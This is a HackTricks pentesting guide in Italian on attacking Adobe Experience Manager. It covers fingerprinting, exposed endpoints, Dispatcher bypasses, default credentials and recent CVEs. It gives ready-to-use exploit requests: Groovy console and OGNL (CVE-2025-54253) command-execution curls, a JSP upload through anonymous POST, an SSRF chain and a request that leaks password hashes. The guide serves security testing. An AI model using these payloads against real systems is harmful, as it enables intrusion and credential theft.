AEM (Adobe Experience Manager) Pentesting

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) è un CMS enterprise che gira su Apache Sling/Felix (OSGi) e su un Java Content Repository (JCR). Dal punto di vista di un attacker, le istanze AEM molto spesso espongono pericolosi development endpoints, regole Dispatcher deboli, default credentials e una lunga serie di CVE che vengono corrette ogni trimestre.

La checklist sottostante si concentra sulla externally reachable (unauth) attack surface che continua ad emergere negli engagements reali (2022-2026).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Altri indicatori rapidi:

  • /etc.clientlibs/ path statico presente (restituisce JS/CSS).
  • /libs/granite/core/content/login.html pagina di login con il banner “Adobe Experience Manager”.
  • </script><!--/* CQ */--> commento in fondo all’HTML.

2. High-value unauthenticated endpoints

PercorsoCosa ottieniNote
/.json, /.1.jsonNodi JCR tramite DefaultGetServletSpesso bloccato, ma Dispatcher bypass (vedi sotto) funziona.
/bin/querybuilder.json?path=/QueryBuilder APILeak dell’albero delle pagine, percorsi interni, nomi utente.
/system/console/status-*, /system/console/bundlesOSGi/Felix console403 di default; se esposto & creds trovate ⇒ bundle-upload RCE.
/crx/packmgr/index.jspPackage ManagerConsente l’upload di content packages autenticati → upload di payload JSP.
/etc/groovyconsole/**AEM Groovy ConsoleSe esposto → esecuzione arbitraria Groovy / Java.
/libs/cq/AuditlogSearchServlet.jsonAudit logsDivulgazione di informazioni.
/libs/cq/ui/content/dumplibs.htmlClientLibs dumpXSS vector.
/adminui/debugAEM Forms on JEE Struts dev-mode OGNL evaluatorSu installazioni Forms mal configurate (CVE-2025-54253) questo endpoint esegue OGNL non autenticato → RCE.

Dispatcher bypass tricks (still working in 2025/2026)

La maggior parte dei siti di produzione sta dietro al Dispatcher (reverse-proxy). Le regole di filtro vengono spesso bypassate abusando di caratteri codificati o estensioni statiche permesse.

  • Classico semicolon + estensione permessa
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

Se il Dispatcher permette slash codificati, questo restituisce JSON anche quando /bin è teoricamente negato.


3. Configurazioni errate comuni (ancora presenti nel 2026)

  1. Anonymous POST servletPOST /.json con :operation=import consente di creare nuovi nodi JCR. Bloccare i POST su *.json nel Dispatcher risolve il problema.
  2. World-readable user profiles – l’ACL di default concede jcr:read su /home/users/**/profile/* a chiunque.
  3. Default credentialsadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter abilitato ⇒ reflected XSS tramite ?debug=layout (CVE-2016-7882, ancora riscontrabile su installazioni legacy 6.4).
  5. Groovy Console esposta – esecuzione remota di codice inviando uno script Groovy:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
  1. Dispatcher encoded-slash gap/bin/querybuilder.json e /etc/truststore.json raggiungibili con %2f/%3B anche quando bloccati dai filtri di percorso.
  2. AEM Forms Struts devMode lasciato abilitato/adminui/debug?expression= valuta OGNL senza autenticazione (CVE-2025-54253) portando a RCE non autenticata; XXE abbinata nella submission di Forms (CVE-2025-54254) permette la lettura di file.

4. Vulnerabilità recenti (cadenza dei service-pack)

QuarterCVE / BulletinAffectedImpact
Dec 2025APSB25-115, CVE-2025-64537/645396.5.24 & earlier, Cloud 2025.12Molteplici XSS critiche/stored → esecuzione di codice tramite author UI.
Sep 2025APSB25-906.5.23 & earlierBypass di funzionalità di sicurezza (Dispatcher auth checker) – aggiornare a 6.5.24/Cloud 2025.12.
Aug 2025CVE-2025-54253 / 54254 (AEM Forms JEE)Forms 6.5.23.0 and earlierDevMode OGNL RCE + XXE file read, non autenticato.
Jun 2025APSB25-486.5.23 & earlierStored XSS e escalation di privilegi nei componenti Communities.
Dec 2024APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74)6.5.22 & earlierDOM/Stored XSS, esecuzione arbitraria di codice (bassi privilegi).
Dec 2023APSB23-72≤ 6.5.18DOM-based XSS tramite URL appositamente costruito.

Controllare sempre il APSB bulletin corrispondente al service-pack del cliente e spingere per l’ultima 6.5.24 (Nov 26, 2025) o Cloud Service 2025.12. AEM Forms on JEE richiede il proprio add-on hotfix 6.5.0-0108+.


5. Exploitation snippets

5.1 RCE via dispatcher bypass + JSP upload

If anonymous write is possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Ora richiedi /content/evil.jsp – la JSP viene eseguita con l’utente del processo AEM.

5.2 SSRF to RCE (historical < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py di aem-hacker automatizza l’intera catena.

5.3 OGNL RCE su AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

Se vulnerabile, il body HTTP contiene l’output del comando.

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

Restituisce i nodi utente inclusi gli hash rep:password quando gli ACL di lettura anonima sono impostati di default.


6. Strumenti

  • aem-hacker – script di enumerazione multiuso, supporta dispatcher bypass, rilevamento SSRF, controlli per default-creds e altro.
python3 aem_hacker.py -u https://target --host attacker-ip
  • Tenable WAS plugin 115065 – Rileva automaticamente la divulgazione dell’hash di QueryBuilder e l’encoded-slash bypass (pubblicato Dec 2025).
  • Content brute-force – richiedere ricorsivamente /_jcr_content.(json|html) per scoprire componenti nascosti.
  • osgi-infect – caricare un bundle OSGi maligno tramite /system/console/bundles se sono disponibili creds.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks